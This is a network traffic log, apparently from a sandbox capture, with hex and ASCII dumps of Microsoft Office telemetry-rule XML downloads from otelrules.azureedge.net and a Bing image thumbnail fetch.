2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:23 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 67d1adef-301e-0052-340f-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230623Z-178bfbc474bbcwv4hC1NYCypys00000004w000000000kvhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:23 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230623Z-178bfbc474bp8mkvhC1NYCzqnn00000004vg00000000m6zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4aa3518-701e-0098-625d-3c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230623Z-15b8b599d88tr2flhC1TEB5gk400000003p000000000edgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230623Z-15b8b599d88tmlzshC1TEB4xpn00000003gg000000007zzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:23 UTC	495	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: eb308b45-001e-0046-7bfc-3dda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230623Z-178bfbc474b9xljthC1NYCtw9400000004yg00000000hs01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 23:06:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	375	OUT	GET /th?id=OADD2.10239360433144_1RLNQD8OFQA9LQ1KZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 584217 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 48868B7489BA450AB2E27D02B65B66E7 Ref B: EWR30EDGE1421 Ref C: 2024-11-23T23:06:23Z Date: Sat, 23 Nov 2024 23:06:22 GMT Connection: close
2024-11-23 23:06:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 34 20 32 32 3a 32 38 3a 33 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:14 22:28:368C
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 69 50 c7 1f fa 1f ee 9b 3f bc 5f 97 77 ad 40 c9 3d dc 9e 52 2f 9b 27 2f b9 7d ab 53 4d 80 0b 7c df b3 34 5f c2 ab eb 5d 17 e5 5a 9b 68 b7 28 47 3d e5 a7 01 9b 6b 2e 17 f8 b6 83 da 98 c2 4b 88 f8 45 90 6e f9 95 5b e6 fc aa ee a1 2a 26 db 70 bb 55 b8 55 fb bb 4f f5 aa 39 8c f0 3f 75 2e ef 9a 45 fb d5 4b 54 54 6d 2d 46 37 9b 1f ee fe 5c 32 fd e5 f4 a7 5b a5 b8 99 5d f7 30 65 ff 00 be aa 7b 96 b7 59 a3 8e 06 69 07 f1 2b 7f 0f e3 49 25 bf 93 fc 4d ea ad fc 34 5c 2e 82 49 4a 46 c6 2f dd aa fd e5 5f bc d5 56 e5 66 9e 1d e2 26 60 ad f3 7f 7b 3e b5 2b 2c 97 12 65 df 6e df ee ff 00 4a 63 c5 70 6e 17 1b b1 1f fb 54 0d 5b 73 47 49 b4 3f 67 cc d0 47 22 c9 ff 00 3d 1b e6 6f c4 74 a8 bc 9d b7 93 c5 1a b2 85 fb aa ad fd 6a bb 4c 37 30 89 9a 35 65 3f 7b fa 52 da cd 23 b2 Data Ascii: iP?_w@=R/'/}SM\|4_]Zh(G=k.KEn[*&pUUO9?u.EKTTm-F7\2[]0e{Yi+I%M4\.IJF/_Vf&`{>+,enJcpnT[sGI?gG"=otjL705e?{R#
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 3c 09 f0 8a cb cb 58 3e 24 dc ea 77 12 fe ed 62 b2 d3 db ef 8e e7 8e 87 da b2 75 0d 07 e1 e5 be a9 26 99 71 a9 6a 8d 71 12 ef 8a 3f b2 6d f2 fb b2 3f 39 ff 00 0a 93 4d f8 51 f1 0e f1 a7 8c ea 6d 14 96 d8 f9 7c c3 f3 13 e8 70 3a 55 99 be 05 78 86 16 fb 45 de b8 be 76 e2 5b cb 62 ee a4 75 24 f5 a8 e7 8a fb 41 66 57 b1 d3 3e 1c 49 a7 b7 da f5 39 e2 8e 5b 9d 9e 6f d8 24 76 87 23 3f 7f 77 19 f4 c1 ad 56 d1 3e 0b db db c5 14 ba fd cc b2 ee f9 57 fb 2e 44 f3 33 d8 b6 73 ba a9 e8 9f 04 75 dd 5a de 79 63 d7 24 88 5b 49 8d ae a7 e6 27 db 35 24 9f 01 f5 c4 66 7b bf 11 ec ef b9 63 2e d9 fc e8 f6 90 ee 1c af 73 1f fb 27 c1 71 ea 1b f4 8d 7a 05 dc c5 3c b9 2d a4 87 83 d5 43 b0 20 36 38 e6 ae 5f 7c 3b f0 9d e5 8c 53 f8 73 5c bb 82 69 23 fd dc 17 6a 26 4d fd d5 99 39 1f Data Ascii: <X>$wbu&qjq?m?9MQm\|p:UxEv[bu$AfW>I9[o$v#?wV>W.D3suZyc$[I'5$f{c.s'qz<-C 68_\|;Ss\i#j&M9
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 19 b8 5b 6b bb f8 99 a3 b9 5c 2c 71 36 ef 2f d3 15 6b 45 8a e6 db 5a b9 d4 5f 77 95 e1 fb 43 72 8a bf 75 a4 7f 96 34 27 b9 dd e9 e9 5e ef 37 c2 9f 00 43 6a b2 5a 36 b1 e5 34 78 f2 7c cf 9b fe fa e9 5e 27 fb 42 5b e8 fe 12 d3 60 f0 b6 9d e7 c7 f6 a9 4d fd cc 93 cf b9 d9 23 1f 22 e7 eb 51 46 8b e7 57 37 54 cf 12 d2 e1 d5 3c 5d e3 08 c5 a3 49 3d f5 d5 da c7 e5 bf df de c7 9f c1 7b 9a fb 03 e1 a7 85 34 cf 0a e8 36 da 64 5f 29 55 fd fc 8d ff 00 2d 1f b9 3f 8d 78 37 ec cf 65 e7 eb 8b a8 98 36 c9 1c 60 34 ab f7 fc c2 72 c7 fe f9 e2 be 98 b5 80 3a ec 8d 59 b7 2f f1 56 d8 89 bb d8 ea 82 b8 d8 e3 ff 00 4c 67 8d be 58 bf bd 56 e4 85 5e 65 90 7c a7 9d cb 51 d8 c4 17 71 fe 26 c6 df ee d6 82 c2 17 71 fe 16 5a e4 b9 ad 88 6c 2c d3 ab ee f9 aa dd c5 b4 69 7d 17 cc cc bd Data Ascii: [k\,q6/kEZ_wCru4'^7CjZ64x\|^'B[`M#"QFW7T<]I={46d_)U-?x7e6`4r:Y/VLgXV^e\|Qq&qZl,i}
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: ad cb e7 47 be 59 fe c7 f6 a9 23 60 cc 92 7f 17 fb 5d 87 e1 59 7a e3 11 75 1e 59 a3 0c db db 77 f0 9f f6 4f bd 31 dd ec cc 49 bc c2 d2 09 17 6c ad ce d6 f9 59 6a 7b 51 72 d6 b2 5c 27 ee e3 db 8f 9b f4 e2 a6 7b 34 99 9a 67 9d 98 b6 3e 66 fd 46 7b d5 ab 33 a7 95 68 23 83 9e be 63 64 32 bf d3 a6 29 b9 0f 5b 94 ed 22 82 48 f7 cf f3 34 6c 3e 5f ba b5 6e dc 08 a3 c3 cf e6 c3 17 dd f3 32 bb 41 ea 00 ab 69 0c 6f 6f 93 fb b0 dc b7 97 8e b5 1b c7 6a 1a 3c 5c ac aa ac 3f 77 f7 57 db 15 37 b8 d2 92 d5 90 6f 77 56 f2 d1 7c b9 78 dd 1a fe a2 9f 6b 69 70 ec b6 d6 f1 35 cc bb b0 b0 ae 59 98 f6 c0 ab 16 ea 96 d7 cb 7f a9 c7 25 ad 8f 56 8f ee 3c d9 e3 e4 07 d7 f2 a9 2e 57 50 4b 1f 32 29 7f b0 ec 5a 43 fb c5 cb 5e 49 e9 c7 50 07 a8 e2 98 dc 8b 7a 3d 84 ba 5e a5 06 a9 af 6a Data Ascii: GY#`]YzuYwO1IlYj{Qr\'{4g>fF{3h#cd2)["H4l>_n2Aiooj<\?wW7owV\|xkip5Y%V<.WPK2)ZC^IPz=^j
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 1f 8e 74 6f 0f ea 93 65 60 8e ce f3 68 db 73 07 c8 b3 7b b2 74 dd f4 ab 55 15 c5 cc 70 ba 26 bc f0 71 71 12 b9 db 8f 37 ee b6 3d 1b 1d 45 76 7a 0e b7 04 b6 ad 6c f1 79 90 b7 fa d8 24 6d e8 c3 d5 0f ad 70 3e 21 d0 75 1d 1e 66 37 10 2c 91 b7 0b 3c 7f 32 7f f5 bf 1a 93 c3 b7 12 59 34 6f 37 cb 6d bb e6 66 fb cb ee 29 ca 29 8f 47 a9 ad e2 dd 11 ec bf d2 ec ee da 5d 2e 5c 9f 2f 77 cd 6f fe cb 2f f5 ef 58 a8 c8 57 11 c0 d1 a7 f7 be f3 7d 4d 7a 76 9c 90 48 bf bf f2 19 6e 63 da ca ab 94 91 3d 7d 30 7d 2b 91 f1 7f 87 9f 40 be 57 8d 96 4b 39 d7 7c 4c ad f3 2f a8 f7 c7 d7 34 a3 2e 82 4e e8 c4 66 96 de 16 3f 78 2f dd 65 fe a0 d5 48 f3 24 de 64 8c ab bb fb d4 f9 88 96 4d a9 f3 2a fd d6 6f 95 5b 3e 9e 95 a5 a6 db c8 f1 e6 29 77 1f ee ab 07 ff 00 c7 7b fe b5 63 21 92 69 Data Ascii: toe`hs{tUp&qq7=Evzly$mp>!uf7,<2Y4o7mf))G].\/wo/XW}MzvHnc=}0}+@WK9\|L/4.Nf?x/eH$dM*o[>)w{c!i
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 96 56 9e 62 ee 4b 66 68 a1 e3 6b 7c aa de f5 cb 52 b5 b4 81 ac 61 d4 c0 f0 be 91 a7 e8 9a 6a db 69 56 6b 6b 1a a8 11 f9 6b b7 f3 ae 95 59 e3 86 34 91 5b d7 73 37 cc b5 6b ec 36 c2 df 60 f9 62 66 cb 47 26 59 94 8f 7f 4a 8e e2 dc 99 18 86 da bb be 55 db f2 d7 23 6d 9b 24 90 d4 12 2c 9c ed f9 b9 a9 72 0b 67 f0 fc 68 6b 51 16 dc b6 ed df d6 9d 75 6e ab 1f ee d9 b2 df 33 6d a9 e5 65 73 15 e4 96 34 dc 7c d6 69 3f bb ed 54 e1 f3 8d d7 dd fe 2f 99 9a 9f f6 6f 2e 4c f9 ec c7 ab 2f b5 4b e5 92 ac 3c d6 ca f3 f8 d5 32 48 e4 90 85 52 8b c3 37 cc bf dd a4 83 22 e3 01 39 6e 7e 6f bb 45 d1 41 1f cf 2b 7c ac 3e 6f ad 4a a1 12 48 dd 17 cc 8f fb df 4a 48 09 d5 a2 56 f7 fe 1a d2 b3 b9 1f 28 da d9 db f7 6a 95 e1 8f f7 6e 9b 54 b7 3b 55 7e ed 45 71 